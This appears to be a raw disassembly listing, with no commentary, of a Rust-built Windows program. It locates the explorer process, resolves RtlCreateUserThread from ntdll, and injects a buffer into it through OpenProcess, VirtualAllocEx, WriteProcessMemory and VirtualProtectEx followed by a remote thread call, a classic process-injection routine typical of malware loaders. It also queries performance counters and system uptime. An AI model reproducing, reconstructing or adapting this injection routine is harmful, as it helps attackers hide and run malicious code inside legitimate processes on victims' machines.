lea r9, [0x00491ae8]
jmp 0x423142
call fcn.00425ea0
ud2
add rdx, 0x70
lea rsi, [rsp + 0x500]
mov rcx, rsi
mov r8, r15
call fcn.0043a193
mov rax, qword [rsi]
cmp rax, 2
je 0x423430
mov rbx, qword [rsp + 0x508]
movups xmm0, xmmword [rsp + 0x510]
movaps xmmword [rsp + 0xd0], xmm0
test rax, rax
je 0x42343f
mov rax, qword [rsp + 0x520]
test rax, rax
je 0x423463
lea rsi, [r12 + 0x70]
movaps xmm0, xmmword [rsp + 0xd0]
lea rdi, [rsp + 0x500]
movups xmmword [rdi + 8], xmm0
mov qword [rdi], rbx
mov qword [rdi + 0x18], rax
mov rbx, 0xffffffffffffffff
cmp qword [rsp + 0x508], 0
je 0x42340e
mov rax, qword [rsp + 0x500]
mov bpl, byte [rax]
mov edx, 1
mov rcx, rdi
call fcn.00416fc2
mov r14, qword [r12 + 0x80]
cmp r14, qword [r12 + 0x70]
jne 0x4233f8
mov rdx, qword [rsp + 0x508]
inc rdx
cmove rdx, rbx
mov rcx, rsi
call fcn.004274d7
mov rax, qword [r12 + 0x78]
mov byte [rax + r14], bpl
inc r14
mov qword [r12 + 0x80], r14
jmp 0x4233af
lea rcx, [rsp + 0x500]
call fcn.004055e8
lea rdx, [r12 + 0x90]
mov qword [r12 + 0x88], rdx
jmp 0x423332
mov al, 4
mov byte [r13], al
mov al, 1
mov cl, 3
jmp 0x423ed5
mov rsi, qword [r12 + 0x70]
mov rdi, qword [r12 + 0x78]
mov rbx, qword [r12 + 0x80]
lea rcx, [r12 + 0x90]
call fcn.00406036
mov bpl, 1
jmp 0x42349d
mov ecx, 8
mov edx, 8
call fcn.004075d7
mov rsi, rax
mov qword [rax], rbx
mov rcx, qword [r12 + 0x70]
mov rdx, qword [r12 + 0x78]
call fcn.00427458
lea rcx, [r12 + 0x90]
call fcn.00406036
lea rdi, fcn.00405601
xor ebp, ebp
lea rcx, [r12 + 0x10]
call fcn.0040395b
mov byte [r12 + 0x68], 1
mov rcx, r12
call fcn.00405de2
test bpl, bpl
je 0x423f63
lea rdx, [rsp + 0x500]
mov qword [rdx], rsi
mov qword [rdx + 8], rdi
mov qword [rdx + 0x10], rbx
lea rsi, [rsp + 0x260]
mov rcx, rsi
call fcn.0041c7fb
mov rdi, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xba8], 4
call fcn.0042fc7a
mov rbx, rax
mov qword [rsp + 0x50], rdx
lea rsi, [rsp + 0x500]
mov edx, 0x158
mov r8d, 0x1f4
mov rcx, rsi
call fcn.00482570
mov rax, qword [rsi + 0x18]
mov qword [rsp + 0x58], rax
mov rax, qword [rsi]
mov qword [rsp + 0x78], rax
mov rax, qword [rsi + 8]
mov qword [rsp + 0x70], rax
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x68], rax
mov ecx, 9
xor edx, edx
call fcn.00441038
mov r13, rax
mov rbp, rdx
movabs rax, 0x5043206c61746f54
mov qword [rdx], rax
mov byte [rdx + 8], 0x55
mov ecx, 0x120
mov edx, 8
call fcn.00427146
test rax, rax
je 0x423f91
mov r14, rax
mov qword [rsp + 0xa8], rdi
call fcn.0042fc7a
mov r15, rax
mov r12, rdx
call fcn.0047a9b0
shl rdx, 0x20
mov eax, eax
or rdx, rax
lea rsi, [rsp + 0x500]
mov rcx, rsi
call fcn.0047aa40
cmp qword [rsi], 0
je 0x4235c0
xor edi, edi
jmp 0x4235e1
mov rdi, qword [rsp + 0x508]
call sub.KERNEL32.dll_GetTickCount64
xor ecx, ecx
mov r8d, 0x3e8
xor edx, edx
div r8
sub rdi, rax
cmovb rdi, rcx
lea rsi, [rsp + 0x500]
mov rax, qword [rsp + 0x78]
mov qword [rsi + 0x40], rax
mov rax, qword [rsp + 0x70]
mov qword [rsi + 0x48], rax
mov rax, qword [rsp + 0x68]
mov qword [rsi + 0x50], rax
mov rax, qword [rsp + 0x58]
mov qword [rsi + 0x58], rax
mov qword [rsi + 0x60], rbx
mov rax, qword [rsp + 0x50]
mov qword [rsi + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsi + 0x130], xmm0
movups xmmword [rsi + 0x140], xmm0
movups xmmword [rsi + 0xa0], xmm0
movups xmmword [rsi + 0xb0], xmm0
mov qword [rsi + 0xc0], r13
mov qword [rsi + 0xc8], rbp
mov qword [rsi + 0xd0], 9
and qword [rsi + 0xd8], 0
mov eax, 1
mov qword [rsi + 0xe0], rax
movups xmmword [rsi + 0xe8], xmm0
mov qword [rsi + 0xf8], rax
and qword [rsi + 0x100], 0
and dword [rsi + 0x108], 0
and qword [rsi + 0x110], 0
mov r13d, 8
mov qword [rsi + 0x118], r13
and qword [rsi + 0x120], 0
mov byte [rsi + 0x128], 0
and qword [rsi + 0x158], 0
mov qword [rsi + 0x160], r13
and qword [rsi + 0x168], 0
mov qword [rsi + 0x170], 2
mov qword [rsi + 0x178], r14
and qword [rsi + 0x180], 0
and qword [rsi + 0x18], 0
movups xmmword [rsi + 0x70], xmm0
and qword [rsi + 0x80], 0
lea rax, [0x004a3230]
mov qword [rsi + 0x88], rax
mov qword [rsi + 0x90], r15
mov qword [rsi + 0x98], r12
mov qword [rsi + 0x150], rdi
and qword [rsi + 0x188], 0
mov qword [rsi + 0x190], r13
and qword [rsi + 0x198], 0
mov rcx, rsi
mov edx, 0x10101
call fcn.004828db
mov rdi, qword [rsi + 0x58]
mov rax, qword [rsi + 0x40]
mov rsi, qword [rsi + 0x50]
lea rbx, [rax + rdi]
inc rbx
movdqa xmm0, xmmword [rdi]
pmovmskb ebp, xmm0
not ebp
lea r14, [rdi + 0x10]
mov ecx, 0x38
mov edx, 8
call fcn.004075d7
lea rcx, str.explorerno_process_
mov qword [rax], rcx
mov qword [rax + 8], r13
lea rdx, [rax + 0x10]
mov qword [rsp + 0x50], rdx
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov word [rax + 0x28], bp
mov rbp, rcx
mov qword [rsp + 0x58], rax
mov qword [rax + 0x30], rsi
movdqa xmm6, xmmword [str.eeeeeeeeeeeeeeeerrrrrrrrrrrrrrrr]
movdqa xmm7, xmmword [0x00491120]
mov r12, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call fcn.0048222c
test rax, rax
je 0x423f49
mov r13, rax
add r13, 0xfffffffffffffeb0
je 0x423f49
mov rdi, qword [rax - 0x50]
mov rsi, qword [rax - 0x48]
cmp rsi, 8
jbe 0x42385d
cmp rsi, 0x16
ja 0x42387f
cmp rsi, 8
jb 0x423878
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sliceiter.rs
mov qword [rsp + 0x20], rax
mov edx, 8
xor ecx, ecx
mov r8, rdi
mov r9, rsi
call fcn.00401b1e
mov r14, rax
mov r15, rdx
mov ecx, 1
mov rdx, rdi
mov r8, rsi
lea r9, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sliceiter.rs
call fcn.00401b77
mov rdi, rax
mov eax, 0
test r14, r14
je 0x4239ff
mov rsi, rdx
mov r9d, 8
mov rcx, r14
mov rdx, r15
mov r8, rbp
call fcn.0042762c
test al, al
je 0x4237e7
jmp 0x4239fc
mov edx, 8
mov rcx, rbp
mov r8, rdi
mov r9, rsi
call fcn.0042762c
test al, al
jne 0x4239fc
xor eax, eax
jmp 0x4239ff
mov ecx, 1
mov r8d, 8
mov rdx, rbp
lea r9, [0x00491990]
call fcn.00401b77
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xd8], rsi
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], rdx
lea rbp, [rdi + 7]
mov r12, 0xfffffffffffffff0
xor r15d, r15d
xor r14d, r14d
lea rax, [r15 + 0x47]
cmp rax, rsi
jae 0x42396f
mov eax, r14d
and al, 1
jne 0x42396f
add r15, 0x40
and qword [rsp + 0x3d0], 0
xor eax, eax
cmp rax, 8
je 0x423921
movdqu xmm0, xmmword [rbp + rax*8 - 7]
movdqu xmm1, xmmword [rbp + rax*8]
pcmpeqb xmm0, xmm6
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb ecx, xmm1
mov word [rsp + rax + 0x3d0], cx
add rax, 2
jmp 0x4238f1
xor ebx, ebx
mov rdx, rbx
shl rdx, 4
add rdx, r12
cmp rbx, 4
je 0x423962
movzx r8d, word [rsp + rbx*2 + 0x3d0]
inc rbx
add rdx, 0x10
test r8w, r8w
je 0x42392d
and r14b, 1
lea rcx, [rsp + 0xd0]
mov r9d, r14d
call fcn.00406634
or r14b, al
jmp 0x423923
add rbp, 0x40
add r12, 0x40
jmp 0x4238ca
mov r12, qword [rsp + 0x60]
lea rbp, str.explorerno_process_
and r14b, 1
mov rax, r15
lea rcx, [rax + 0x17]
cmp rcx, rsi
jae 0x4239d1
test r14b, r14b
jne 0x4239d1
lea r15, [rax + 0x10]
movdqu xmm0, xmmword [rdi + rax]
movdqu xmm1, xmmword [rdi + rax + 7]
pcmpeqb xmm0, xmm6
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb r8d, xmm1
mov rax, r15
test r8d, r8d
je 0x423982
lea rdx, [r15 - 0x10]
lea rcx, [rsp + 0xd0]
xor r9d, r9d
call fcn.00406634
mov r14d, eax
jmp 0x42397b
movdqu xmm0, xmmword [rdi + rsi - 0x17]
movdqu xmm1, xmmword [rdi + rsi - 0x10]
pcmpeqb xmm0, xmm6
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x423a0a
test r14b, r14b
je 0x423878
mov rax, r13
test rax, rax
je 0x4237a8
jmp 0x423a2f
add rsi, 0xffffffffffffffe9
test r14b, r14b
setne bl
lea rcx, [rsp + 0xd0]
mov rdx, rsi
mov r9d, r14d
call fcn.00406634
mov r14d, eax
or r14b, bl
jmp 0x4239f3
mov edi, dword [rax + 0x90]
mov edx, 8
mov rcx, qword [rsp + 0x58]
call fcn.00424380
lea rcx, str.ntdll.dll
call sub.KERNEL32.dll_LoadLibraryA
lea rdx, str.RtlCreateUserThread
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov rsi, rax
mov ecx, 0x1fffff
xor edx, edx
mov r8d, edi
call sub.KERNEL32.dll_OpenProcess
test rax, rax
mov rbx, qword [rsp + 0xb0]
je 0x423fa0
mov rdi, rax
mov dword [rsp + 0x20], 4
mov rcx, rax
xor edx, edx
mov r8, rbx
mov r9d, 0x3000
call sub.KERNEL32.dll_VirtualAllocEx
test rax, rax
je 0x423fdb
mov r14, rax
and qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, rax
mov r8, qword [rsp + 0xa8]
mov r9, rbx
call sub.KERNEL32.dll_WriteProcessMemory
test eax, eax
je 0x424013
lea rax, [rsp + 0xba8]
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, r14
mov r8, rbx
mov r9d, 0x10
call sub.KERNEL32.dll_VirtualProtectEx
test eax, eax
je 0x42404b
and qword [rsp + 0xd0], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], r14
pxor xmm0, xmm0
and qword [rsp + 0x48], 0
movdqu xmmword [rsp + 0x20], xmm0
and qword [rsp + 0x38], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rsi
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [rsp + 0x540]
test rcx, rcx
je 0x423bd5
mov rax, qword [rsp + 0x550]
test rax, rax
je 0x423bbc
mov rdx, qword [rsp + 0x558]
add rcx, rdx
inc rcx
movdqa xmm0, xmmword [rdx]
pmovmskb r8d, xmm0
not r8d
lea rsi, [rsp + 0xd0]
mov word [rsi + 0x18], r8w
mov qword [rsi + 0x10], rdx
add rdx, 0x10
mov qword [rsi], rdx
mov qword [rsi + 8], rcx
mov qword [rsi + 0x20], rax
mov rcx, rsi
call fcn.0048222c
test rax, rax
je 0x423bb4
add rax, 0xfffffffffffffeb0
mov rcx, rax
call fcn.0047e690
jmp 0x423b97
mov rcx, qword [rsp + 0x540]
mov rdx, qword [rsp + 0x558]
mov r8d, 0x158
mov r9d, 0x10
call fcn.00482197
mov rcx, qword [rsp + 0x5c0]
mov rdx, qword [rsp + 0x5c8]
call fcn.00427458
mov rdx, qword [rsp + 0x5a8]
test rdx, rdx
je 0x423c04
mov rcx, qword [rsp + 0x5a0]
call fcn.00427458
mov rcx, qword [rsp + 0x5d8]
mov rdx, qword [rsp + 0x5e0]
call fcn.00427458
mov rcx, qword [rsp + 0x5f0]
mov rdx, qword [rsp + 0x5f8]
call fcn.00427458
mov rcx, qword [rsp + 0x618]
mov rdx, qword [rsp + 0x620]
call fcn.00481fd1
mov rcx, qword [rsp + 0x610]
mov rdx, qword [rsp + 0x618]
call fcn.00482146
mov rcx, qword [rsp + 0x660]
mov rdx, qword [rsp + 0x668]
call fcn.00482064
mov rcx, qword [rsp + 0x658]
mov rdx, qword [rsp + 0x660]
call fcn.00482161
mov rcx, qword [rsp + 0x678]
mov rdx, qword [rsp + 0x680]
call fcn.0047e7bc
mov rcx, qword [rsp + 0x670]
mov rdx, qword [rsp + 0x678]
call fcn.0047e815
mov rax, qword [rsp + 0x518]
test rax, rax
je 0x423dd0
mov rcx, qword [rsp + 0x500]
mov rdx, qword [rsp + 0x510]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb r8d, xmm0
not r8d
lea r9, [rax + 0x10]
lea rsi, [rsp + 0xd0]
mov qword [rsi], r9
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], r8w
mov qword [rsi + 0x20], rdx
mov rcx, rsi
call fcn.004821c9
test rax, rax
je 0x423d17
mov rcx, qword [rax - 8]
call sub.pdh.dll_PdhRemoveCounter
jmp 0x423cff
mov rcx, qword [rsp + 0x538]
test rcx, rcx
je 0x423d29
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [rsp + 0x530]
test rcx, rcx
je 0x423d3b
call sub.pdh.dll_PdhCloseQuery
mov rcx, qword [rsp + 0x500]
test rcx, rcx
je 0x423dd0
mov rax, qword [rsp + 0x510]
test rax, rax
je 0x423db7
mov rdx, qword [rsp + 0x518]
add rcx, rdx
inc rcx
movdqa xmm0, xmmword [rdx]
pmovmskb r8d, xmm0
not r8d
lea r9, [rdx + 0x10]
lea rsi, [rsp + 0xd0]
mov qword [rsi], r9
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
mov word [rsi + 0x18], r8w
mov qword [rsi + 0x20], rax
mov rcx, rsi
call fcn.004821c9
test rax, rax
je 0x423daf
mov rcx, qword [rax - 0x20]
mov rdx, qword [rax - 0x18]
call fcn.0044a8f3
jmp 0x423d93
mov rcx, qword [rsp + 0x500]
mov rdx, qword [rsp + 0x518]
mov r8d, 0x20
mov r9d, 0x10
call fcn.00482197
mov rcx, qword [rsp + 0x570]
test rcx, rcx
je 0x423e68
mov rax, qword [rsp + 0x580]
test rax, rax
je 0x423e4f
mov rdx, qword [rsp + 0x588]
add rcx, rdx
inc rcx
movdqa xmm0, xmmword [rdx]
pmovmskb r8d, xmm0
not r8d
lea r9, [rdx + 0x10]
lea rsi, [rsp + 0xd0]
mov qword [rsi], r9
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
mov word [rsi + 0x18], r8w
mov qword [rsi + 0x20], rax
mov rcx, rsi
call fcn.00481cef
test rax, rax
je 0x423e47
mov rcx, qword [rax - 0x88]
mov rdx, qword [rax - 0x80]
call fcn.0044a8f3
jmp 0x423e28
mov rcx, qword [rsp + 0x570]
mov rdx, qword [rsp + 0x588]
mov r8d, 0x88
mov r9d, 0x10
call fcn.00482197
mov rcx, qword [rsp + 0x690]
mov rdx, qword [rsp + 0x698]
call fcn.0048201f
mov rcx, qword [rsp + 0x688]
mov rdx, qword [rsp + 0x690]
call fcn.0048217c
mov rcx, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x268]
call fcn.00427458
mov rcx, qword [r12 + 0x148]
mov rdx, qword [r12 + 0x150]
call fcn.00427458
mov rcx, qword [r12 + 0x130]
mov rdx, qword [r12 + 0x138]
call fcn.00427458
mov cl, 1
xor eax, eax
mov byte [r12 + 0x160], cl
movaps xmm6, xmmword [rsp + 0xc30]
movaps xmm7, xmmword [rsp + 0xc40]
movaps xmm8, xmmword [rsp + 0xc50]
movaps xmm9, xmmword [rsp + 0xc60]
movaps xmm10, xmmword [rsp + 0xc70]
movaps xmm11, xmmword [rsp + 0xc80]
movaps xmm12, xmmword [rsp + 0xc90]
movaps xmm13, xmmword [rsp + 0xca0]
movaps xmm14, xmmword [rsp + 0xcb0]
movaps xmm15, xmmword [rsp + 0xcc0]
add rsp, 0xcd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [0x004931d0]
lea r8, str.win_src_main.rs
mov edx, 0xb
call fcn.0042aaa0
ud2
lea r8, [rsp + 0x500]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
lea rax, str.win_src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x004a6418]
lea r9, fcn.004357c3
jmp 0x423142
mov ecx, 0x120
mov edx, 8
jmp 0x42332b
lea rax, str.OpenProcess_failed_
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
and qword [rcx], 0
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rcx + 0x20], rax
and qword [rcx + 0x28], 0
lea rdx, str.win_src_main.rs
jmp 0x424081
lea rax, str.VirtualAllocEx_failed_
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
and qword [rcx], 0
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rcx + 0x20], rax
and qword [rcx + 0x28], 0
lea rdx, str.win_src_main.rs
jmp 0x424081
lea rax, str.WriteProcessMemory_failed_
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
and qword [rcx], 0
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rcx + 0x20], rax
and qword [rcx + 0x28], 0
lea rdx, str.win_src_main.rs
jmp 0x424081
lea rax, str.VirtualProtectEx_failed_
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
and qword [rcx], 0
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rcx + 0x20], rax
and qword [rcx + 0x28], 0
lea rdx, str.win_src_main.rs
call fcn.00428040
ud2